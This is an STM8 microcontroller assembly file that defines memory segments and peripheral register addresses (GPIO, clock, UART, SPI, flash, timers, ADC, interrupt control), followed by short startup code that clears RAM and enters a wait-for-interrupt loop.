WORDS ; The following addresses are 16 bits long segment byte at 4000-43FF 'EEPROM' WORDS ; The following addresses are 16 bits long segment byte at 8080-FFFF 'ROM' WORDS ; The following addresses are 16 bits long segment byte at 8000-807F 'INTERRUPT' ;=======Register============================== PORTA EQU $5000 PINA EQU $5001 DDRA EQU $5002 CR1A EQU $5003 CR2A EQU $5004 PORTB EQU $5005 PINB EQU $5006 DDRB EQU $5007 CR1B EQU $5008 CR2B EQU $5009 PORTC EQU $500A PINC EQU $500B DDRC EQU $500C CR1C EQU $500D CR2C EQU $500E PORTD EQU $500F PIND EQU $5010 DDRD EQU $5011 CR1D EQU $5012 CR2D EQU $5013 PORTE EQU $5014 PINE EQU $5015 DDRE EQU $5016 CR1E EQU $5017 CR2E EQU $5018 PORTG EQU $501E PING EQU $501F DDRG EQU $5020 CR1G EQU $5021 CR2G EQU $5022 ;========================== EXTI_CR1 EQU $50A0 ; External interrupt control register 1 0x00 EXTI_CR2 EQU $50A1 ; External interrupt control register 2 0x00 RST_SR EQU $50B3 ; Reset status register 0xXX ;========================== CLK_ICKR EQU $50C0 ; Internal clock control register 0x01 CLK_ECKR EQU $50C1 ; External clock control register 0x00 CLK_CMSR EQU $50C3 ; Clock master status register 0xE1 CLK_SWR EQU $50C4 ; Clock master switch register 0xE1 CLK_SWCR EQU $50C5 ; Clock switch control register 0xXX CLK_CKDIVR EQU $50C6 ; Clock divider register 0x18 CLK_PCKENR1 EQU $50C7 ; Peripheral clock gating register 1 0xFF CLK_CSSR EQU $50C8 ; Clock security system register 0x00 CLK_CCOR EQU $50C9 ; Configurable clock control register 0x00 CLK_PCKENR2 EQU $50CA ; Peripheral clock gating register 2 0xFF CLK_CANCCR EQU $50CB ; CAN clock control register 0x00 CLK_HSITRIMR EQU $50CC ; HSI clock calibration trimming register 0x00 CLK_SWIMCCR EQU $50CD ; SWIM clock control register 0bXXXX XXX0 ;========================== UART1_SR EQU $5230 ; UART1 status register 0xC0 UART1_DR EQU $5231 ; UART1 data register 0xXX UART1_BRR1 EQU $5232 ; UART1 baud rate register 0x00 UART1_BRR2 EQU $5233 ; UART1 baud rate register 0x00 UART1_CR1 EQU $5234 ; UART1 control register 1 0x00 UART1_CR2 EQU $5235 ; UART1 control register 2 0x00 UART1_CR3 EQU $5236 ; UART1 control register 3 0x00 UART1_CR4 EQU $5237 ; UART1 control register 4 0x00 UART1_CR5 EQU $5238 ; UART1 control register 5 0x00 UART1_GTR EQU $5239 ; UART1 guard time register 0x00 UART1_PSCR EQU $523A ; UART1 prescaler register 0x00 SBK EQU 0 ; Send break RWU EQU 1 ; Receiver wakeup REN EQU 2 ; Receiver enable TEN EQU 3 ; Transmitter enable ILIEN EQU 4 ; IDLE Line interrupt enable RIEN EQU 5 ; Receiver interrupt enable TCIEN EQU 6 ; Transmission complete interrupt enable TIEN EQU 7 ; Transmitter interrupt enable TC EQU 6 ; Transmission complete ;========================== SPI_CR1 EQU $5200 ; SPI control register 1 0x00 SPI_CR2 EQU $5201 ; SPI control register 2 0x00 SPI_ICR EQU $5202 ; SPI interrupt control register 0x00 SPI_SR EQU $5203 ; SPI status register 0x02 SPI_DR EQU $5204 ; SPI data register 0x00 SPI_CRCPR EQU $5205 ; SPI CRC polynomial register 0x07 SPI_RXCRCR EQU $5206 ; SPI Rx CRC register 0xFF SPI_TXCRCR EQU $5207 ; SPI Tx CRC register 0xFF ;========================== FLASH_CR1 EQU $505A ; Flash control register 1 0x00 FLASH_CR2 EQU $505B ; Flash control register 2 0x00 FLASH_NCR2 EQU $505C ; Flash complementary control register 2 0xFF FLASH_FPR EQU $505D ; Flash protection register 0x00 FLASH_NFPR EQU $505E ; Flash complementary protection register 0xFF FLASH_IAPSR EQU $505F ; Flash in-application programming status register 0x00 FLASH_PUKR EQU $5062 ; Flash program memory unprotection register 0x00 FLASH_DUKR EQU $5064 ; Data EEPROM unprotection register 0x00 ;========================== WWDG_CR EQU $50D1 ; WWDG control register 0x7F WWDG_WR EQU $50D2 ; WWDR window register 0x7F IWDG_KR EQU $50E0 ; IWDG key register 0xXX IWDG_PR EQU $50E1 ; IWDG prescaler register 0x00 IWDG_RLR EQU $50E2 ; IWDG reload register 0xFF AWU_CSR1 EQU $50F0 ; AWU control/status register 1 0x00 AWU_APR EQU $50F1 ; AWU asynchronous prescaler buffer register 0x3F AWU_TBR EQU $50F2 ; AWU timebase selection register 0x00 BEEP_CSR EQU $50F3 ; BEEP control/status register 0x1F ;========================== TIM1_CR1 EQU $5250 ; TIM1 control register 1 0x00 TIM1_CR2 EQU $5251 ; TIM1 control register 2 0x00 TIM1_SMCR EQU $5252 ; TIM1 slave mode control register 0x00 TIM1_ETR EQU $5253 ; TIM1 external trigger register 0x00 TIM1_IER EQU $5254 ; TIM1 interrupt enable register 0x00 TIM1_SR1 EQU $5255 ; TIM1 status register 1 0x00 TIM1_SR2 EQU $5256 ; TIM1 status register 2 0x00 TIM1_EGR EQU $5257 ; TIM1 event generation register 0x00 TIM1_CCMR1 EQU $5258 ; TIM1 capture/compare mode register 1 0x00 TIM1_CCMR2 EQU $5259 ; TIM1 capture/compare mode register 2 0x00 TIM1_CCMR3 EQU $525A ; TIM1 capture/compare mode register 3 0x00 TIM1_CCMR4 EQU $525B ; TIM1 capture/compare mode register 4 0x00 TIM1_CCER1 EQU $525C ; TIM1 capture/compare enable register 1 0x00 TIM1_CCER2 EQU $525D ; TIM1 capture/compare enable register 2 0x00 TIM1_CNTRH EQU $525E ; TIM1 counter high 0x00 TIM1_CNTRL EQU $525F ; TIM1 counter low 0x00 TIM1_PSCRH EQU $5260 ; TIM1 prescaler register high 0x00 TIM1_PSCRL EQU $5261 ; TIM1 prescaler register low 0x00 TIM1_ARRH EQU $5262 ; TIM1 auto-reload register high 0xFF TIM1_ARRL EQU $5263 ; TIM1 auto-reload register low 0xFF TIM1_RCR EQU $5264 ; TIM1 repetition counter register 0x00 TIM1_CCR1H EQU $5265 ; TIM1 capture/compare register 1 high 0x00 TIM1_CCR1L EQU $5266 ; TIM1 capture/compare register 1 low 0x00 TIM1_CCR2H EQU $5267 ; TIM1 capture/compare register 2 high 0x00 TIM1_CCR2L EQU $5268 ; TIM1 capture/compare register 2 low 0x00 TIM1_CCR3H EQU $5269 ; TIM1 capture/compare register 3 high 0x00 TIM1_CCR3L EQU $526A ; TIM1 capture/compare register 3 low 0x00 TIM1_CCR4H EQU $526B ; TIM1 capture/compare register 4 high 0x00 TIM1_CCR4L EQU $526C ; TIM1 capture/compare register 4 low 0x00 TIM1_BKR EQU $526D ; TIM1 break register 0x00 TIM1_DTR EQU $526E ; TIM1 dead-time register 0x00 TIM1_OISR EQU $526F ; TIM1 output idle state register 0x00 ;========================== TIM2_CR1 EQU $5300 ; TIM2 control register 1 0x00 TIM2_IER EQU $5301 ; TIM2 Interrupt enable register 0x00 TIM2_SR1 EQU $5302 ; TIM2 status register 1 0x00 TIM2_SR2 EQU $5303 ; TIM2 status register 2 0x00 TIM2_EGR EQU $5304 ; TIM2 event generation register 0x00 TIM2_CCMR1 EQU $5305 ; TIM2 capture/compare mode register 1 0x00 TIM2_CCMR2 EQU $5306 ; TIM2 capture/compare mode register 2 0x00 TIM2_CCMR3 EQU $5307 ; TIM2 capture/compare mode register 3 0x00 TIM2_CCER1 EQU $5308 ; TIM2 capture/compare enable register 1 0x00 TIM2_CCER2 EQU $5309 ; TIM2 capture/compare enable register 2 0x00 TIM2_CNTRH EQU $530A ; TIM2 counter high 0x00 TIM2_CNTRL EQU $530B ; TIM2 counter low 0x00 TIM2_PSCR EQU $530C ; TIM2 prescaler register 0x00 TIM2_ARRH EQU $530D ; TIM2 auto-reload register high 0xFF TIM2_ARRL EQU $530E ; TIM2 auto-reload register low 0xFF TIM2_CCR1H EQU $530F ; TIM2 capture/compare register 1 high 0x00 TIM2_CCR1L EQU $5310 ; TIM2 capture/compare register 1 low 0x00 TIM2_CCR2H EQU $5311 ; TIM2 capture/compare reg. 2 high 0x00 TIM2_CCR2L EQU $5312 ; TIM2 capture/compare register 2 low 0x00 TIM2_CCR3H EQU $5313 ; TIM2 capture/compare register 3 high 0x00 TIM2_CCR3L EQU $5314 ; TIM2 capture/compare register 3 low 0x00 ;========================== TIM3_CR1 EQU $5320 ;TIM3 control register 1 TIM3_IER EQU $5321 ;TIM3 interrupt enable register TIM3_SR1 EQU $5322 ;TIM3 status register 1 TIM3_SR2 EQU $5323 ;TIM3 status register 2 TIM3_EGR EQU $5324 ;TIM3 event generation register TIM3_CCMR1 EQU $5325 ;TIM3 capture/ compare mode register 1 TIM3_CCMR2 EQU $5326 ;TIM3 capture/ compare mode register 2 TIM3_CCER1 EQU $5327 ;TIM3 capture/ compare enable register 1 TIM3_CNTRH EQU $5328 ;TIM3 counter high TIM3_CNTRL EQU $5329 ;TIM3 counter low TIM3_PSCR EQU $532A ;TIM3 prescaler register TIM3_ARRH EQU $532B ;TIM3 auto-reload register high TIM3_ARRL EQU $532C ;TIM3 auto-reload register low TIM3_CCR1H EQU $532D ;TIM3 capture/ compare register 1 high TIM3_CCR1L EQU $532E ;TIM3 capture/ compare register 1 low TIM3_CCR2H EQU $532F ;TIM3 capture/ compare register 2 high TIM3_CCR2L EQU $5330 ;TIM3 capture/ compare register 2 low ;========================== TIM4_CR1 EQU $5340 ; TIM4 control register 1 0x00 TIM4_IER EQU $5341 ; TIM4 interrupt enable register 0x00 TIM4_SR EQU $5342 ; TIM4 status register 0x00 TIM4_EGR EQU $5343 ; TIM4 event generation register 0x00 TIM4_CNTR EQU $5344 ; TIM4 counter 0x00 TIM4_PSCR EQU $5345 ; TIM4 prescaler register 0x00 TIM4_ARR EQU $5346 ; TIM4 auto-reload register 0xFF CEN EQU 0 ; Counter enable UDIS EQU 1 ; Update disable URS EQU 2 ; Update request source OPM EQU 3 ; One pulse mode ARPE EQU 7 ; Auto-reload preload enable UIE EQU 0 ; Update interrupt enable TIE EQU 6 ; Trigger interrupt enable UIF EQU 0 ; Update interrupt flag TIF EQU 6 ; Trigger interrupt flag TIM4 this bit is reserved UG EQU 0 ; Update generation TG EQU 6 ; Trigger generation ;========================== ;ADC_DBxR $53E0-$53F3 ; ADC data buffer registers 0x00 ADC_CSR EQU $5400 ; ADC control/status register 0x00 ADC_CR1 EQU $5401 ; ADC configuration register 1 0x00 ADC_CR2 EQU $5402 ; ADC configuration register 2 0x00 ADC_CR3 EQU $5403 ; ADC configuration register 3 0x00 ADC_DRH EQU $5404 ; ADC data register high 0xXX ADC_DRL EQU $5405 ; ADC data register low 0xXX ADC_TDRH EQU $5406 ; ADC Schmitt trigger disable register high 0x00 ADC_TDRL EQU $5407 ; ADC Schmitt trigger disable register low 0x00 ADC_HTRH EQU $5408 ; ADC high threshold register high 0x03 ADC_HTRL EQU $5409 ; ADC high threshold register low 0xFF ADC_LTRH EQU $540A ; ADC low threshold register high 0x00 ADC_LTRL EQU $540B ; ADC low threshold register low 0x00 ADC_AWSRH EQU $540C ; ADC analog watchdog status register high 0x00 ADC_AWSRL EQU $540D ; ADC analog watchdog status register low 0x00 ADC_AWCRH EQU $540E ; ADC analog watchdog control register high 0x00 ADC_AWCRL EQU $540F ; ADC analog watchdog control register low 0x00 ;========================== CFG_GCR EQU $7F60 ; Global configuration register 0x00 ITC_SPR1 EQU $7F70 ; Interrupt software priority register 1 0xFF ITC_SPR2 EQU $7F71 ; Interrupt software priority register 2 0xFF ITC_SPR3 EQU $7F72 ; Interrupt software priority register 3 0xFF ITC_SPR4 EQU $7F73 ; Interrupt software priority register 4 0xFF ITC_SPR5 EQU $7F74 ; Interrupt software priority register 5 0xFF ITC_SPR6 EQU $7F75 ; Interrupt software priority register 6 0xFF ITC_SPR7 EQU $7F76 ; Interrupt software priority register 7 0xFF ITC_SPR8 EQU $7F77 ; Interrupt software priority register 8 0xFF SWIM_CSR EQU $7F80 ; SWIM control status register 0x00 ;========================== CCR EQU $7F0A ; X_L EQU $7F05 X_H EQU $7F04 Y_L EQU $7F07 Y_H EQU $7F06 ACC EQU $7F00 ;=======end========================================================== SEGMENT 'ROM' NoneInterrupt: IRET InitMemory: ;Clear memory LDW X,#$07FF LDW SP,X LDW X,#$0000 ClearRam0: CLR (X) INCW X CPW X,#$00FF JRULE ClearRam0 LDW X,#$0100 ClearRam1: CLR (X) INCW X CPW X,#$01FF JRULE ClearRam1 LDW X,#$0200 ClearStack: CLR (X) INCW X CPW X,#$03FF JRULE ClearStack call SystemStart GeneralCycle: WFI JP GeneralCycle END